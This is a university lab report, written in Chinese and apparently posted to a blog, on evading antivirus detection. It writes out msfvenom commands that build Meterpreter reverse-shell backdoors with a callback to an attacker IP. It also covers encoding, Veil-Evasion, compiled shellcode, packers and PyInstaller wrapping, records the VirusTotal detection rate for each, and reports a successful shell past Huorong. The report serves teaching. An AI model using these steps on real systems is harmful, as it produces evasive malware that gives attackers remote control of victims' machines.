20232420 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

  • 学会使用msf编码器,veil-evasion,利用shellcode编程,加壳等免杀工具或技巧。

  • 尝试实现恶意代码免杀。

  • 理解免杀机制和原理,认识到杀软局限性。

2.实验过程

2.1 免杀效果参考基准

2.1.1 免杀效果的评价

VirusTotal评价免杀效果。

2.1.2 参考基准

  • kali虚拟机上,msfvenom直接生成meterpreter可执行文件20232420backdoor.exe。指令为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor.exe
    屏幕截图 2025-10-27 084417

  • 对该文件用VirusTotal检出率为47/70,即用70不同的反病毒引擎对文件进行扫描,其中有47个判断文件是恶意的。以此作为后续免杀效果的参考基准。
    屏幕截图 2025-10-27 092559

2.2 不同格式文件及Msfvenom使用编码器

2.2.1 exe文件和编码的exe文件

  • 使用msfvenom自带的编码器对后门文件进行编码,这里采用编码格式x86/shikata_ga_nai,指令为msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor_encoded.exe。检出率为43/71,没什么效果。
    屏幕截图 2025-10-27 090515
    屏幕截图 2025-10-27 092720

  • 用参数-i设置编码次数为10次,指令为msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor_encoded10.exe。检出率为42/71,可见这种免杀方式效果不明显。
    屏幕截图 2025-10-27 092301
    屏幕截图 2025-10-27 092956

2.2.2 jar文件和编码的jar文件

  • 使用msfvenom改为生成jar文件,指令为msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor.jar。检出率为35/64,有明显提升。
    屏幕截图 2025-10-27 093410
    屏幕截图 2025-10-27 094056

  • 对jar文件进行10次编码msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor_encoded10.jar。检出率仍为35/64,可见改为jar文件能使后门文件更不容易被检测出来,而编码依旧没用。
    屏幕截图 2025-10-27 093713
    屏幕截图 2025-10-27 094953

2.2.3 php文件和编码的php文件

  • 改为生成php文件,指令为msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor.php。检出率为25/62,有明显免杀作用。
    屏幕截图 2025-10-27 100059
    屏幕截图 2025-10-27 100259

  • 将php文件编码10次,指令为msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor_encoded10.php,检出率为9/62,这一次编码后免杀效果明显,这是由于反病毒引擎对php文件的检测更依赖静态代码特征匹配,而多次编码后,静态特征被加密和混淆,引擎难以直接识别。
    屏幕截图 2025-10-27 100105
    屏幕截图 2025-10-27 100432

2.3 使用免杀平台Veil-Evasion

  • 安装好veil,进入操作界面,可以看到两个选项Evasion和Ordnance,Evasion用于生成免杀恶意payload,Ordnance用于生成辅助攻击工具或组件,这里use 1
    屏幕截图 2025-10-27 140123
    屏幕截图 2025-10-27 140215

  • 输入list,查看可以使用的Payloads。
    屏幕截图 2025-10-27 140250

  • 这里use 7,即使用c语言的c/meterpreter/rev_tcp,配置好信息,生成可执行文件。
    屏幕截图 2025-10-27 140410

set LHOST 192.168.190.128 #回连IP
set LPORT 2420 #回连端口                                   
generate
20232420payload #可执行文件名

屏幕截图 2025-10-27 140603

  • 在指定路径/var/lib/veil/output/compiled/找到生成的可执行文件。
    屏幕截图 2025-10-27 140749

  • 测试生成的可执行文件,检出率为36/71,说明veil有一定的免杀能力。
    图片

2.4 C语言调用Shellcode

  • 通过命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f c,得到C语言格式下的一个shellcode。
    屏幕截图 2025-10-27 142833

  • 将这段shellcode写入一个C语言程序当中,内容如下:
    屏幕截图 2025-10-27 143410
    屏幕截图 2025-10-27 143143

  • 通过命令i686-w64-mingw32-g++ 20232420_c_shellcode.c -o 20232420_c_shellcode.exe将其编译成可执行文件。
    屏幕截图 2025-10-27 143417

  • 测试生成的可执行文件,检出率为39/72,说明C语言调用Shellcode有一定的免杀能力。
    屏幕截图 2025-10-27 143508

2.5 加壳

2.5.1 压缩壳UPX

  • 通过命令upx 20232420_c_shellcode.exe -o 20232420_c_shellcode_upx.exe,给刚才的shellcode加一个UPX压缩壳。
    屏幕截图 2025-10-27 144224

  • 测试生成的可执行文件,检出率为42/71,加了壳,免杀效果反而变差了。
    屏幕截图 2025-10-27 144937

2.5.2 加密壳Hyperion

  • 输入命令cp 20232420_c_shellcode.exe /usr/share/windows-resources/hyperion/,将可执行文件20232420_c_shellcode.exe复制到Hyperion所在的目录中。
    输入命令cd /usr/share/windows-resources/hyperion/,将工作目录切换为Hyperion所在的目录。
    输入命令wine hyperion.exe -v 20232420_c_shellcode.exe 20232420_c_shellcode_hyp.exe,生成新的可执行文件20232420_c_shellcode_hyp.exe。
    屏幕截图 2025-10-27 145928
    屏幕截图 2025-10-27 150536
    屏幕截图 2025-10-27 150552

  • 测试生成的可执行文件,检出率为51/71,免杀效果也变差了。推测是因为这些加壳工具本身已经被高度警惕,加壳文件会直接被视为高风险文件。
    屏幕截图 2025-10-27 150916

2.6 通过组合使用msfvenom工具与封装技术尝试实现恶意代码免杀

  • 输入指令msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f raw > 20232420_python_shellcode.py,生成python格式的后门文件。
    屏幕截图 2025-10-27 171553

  • 将其复制到windows主机,在终端中输入指令pyinstaller -Fw --hidden-import=getpass --hidden-import=code --hidden-import=platform --hidden-import=shlex 20232420_python_shellcode.py,将包含shellcode的python脚本打包为单文件.exe,运行时不显示控制台窗口,指定getpass、code、platform、shlex四个python标准库模块,利用打包工具的封装性隐藏原始代码的静态特征。
    屏幕截图 2025-10-27 165809
    屏幕截图 2025-10-27 165833

  • 用火绒查杀,没有发现该文件。推测是因为PyInstaller生成的.exe在很多场景下被视为“正常工具”,火绒可能对其执行的代码采取更宽松的检测策略。
    屏幕截图 2025-10-27 183749

  • 测试生成的可执行文件,检出率为17/72,免杀效果还是比较理想的。
    屏幕截图 2025-10-27 173039

  • 在火绒打开的情况下,尝试回连获取shell,成功。(注意参数是set payload python/meterpreter/reverse_tcp
    屏幕截图 2025-10-27 170135
    屏幕截图 2025-10-27 174945

3.问题及解决方案

  • 问题1:使用压缩壳UPX和加密壳Hyperion后免杀效果反而变差。

  • 问题1解决方案:原因可能在于反病毒引擎对“加壳文件”的态度是“宁错杀不放过”,这些加壳工具本身已被反病毒引擎深度标记,只要检测到,默认标记为高风险。

  • 问题2:能执行.exe,却无法建立meterpreter会话。

  • 问题2解决方案: 参数一开始用的是set payload windows/meterpreter/reverse_tcp,应该改为set payload python/meterpreter/reverse_tcp。

4.问题回答

(1)杀软是如何检测出恶意代码的?

  • 主要是通过两个方面来检查,一是静态特征匹配,看是否具有已知恶意代码的特征;二是动态行为分析,检测软件是否作出任何可疑行为,如建立不正常的连接、修改系统配置等。

(2)免杀是做什么?

  • 免杀是指通过技术手段修改或隐藏恶意代码的特征与行为,使其看起来像正常程序,能够绕过杀软的检测与拦截,在目标系统中正常执行恶意功能。

(3)免杀的基本方法有哪些?

  • 目前看到的免杀方法基本都是对抗静态特征匹配,利用编码、压缩壳、加密壳、冗余代码插入等方式破坏静态特征,从而避免被杀软检测出来;还可以行为模拟正常程序,将恶意操作伪装成合法行为,如将建立不正常的连接模拟成浏览器访问。

5.学习感悟

本次实验中尝试了msfvenom编码器通过编码破坏静态特征,使用Veil-Evasion通过模板生成免杀payload,C语言调用Shellcode以及加壳,理解了静态免杀的核心是破坏杀软的特征码匹配,而动态免杀的关键是规避行为分析。过程中还发现了使用压缩壳UPX和加密壳Hyperion后免杀效果反而变差这一现象,这说明了免杀最重要的是隐蔽和伪装,用的手段越多,反而可能让恶意软件更显眼,效果反而更差。了解了免杀的工具和技术,也就能学会如何反制,然而对恶意软件的检测往往有滞后性,要认识到杀软的局限性,在生活中更要在社会工程学方面提高对于恶意软件防范能力。

参考资料

《0x23_MAL_免杀原理与实践.md》

posted @ 2025-10-27 18:44  20232420刘镇瑜  阅读(3)  评论(0)    收藏  举报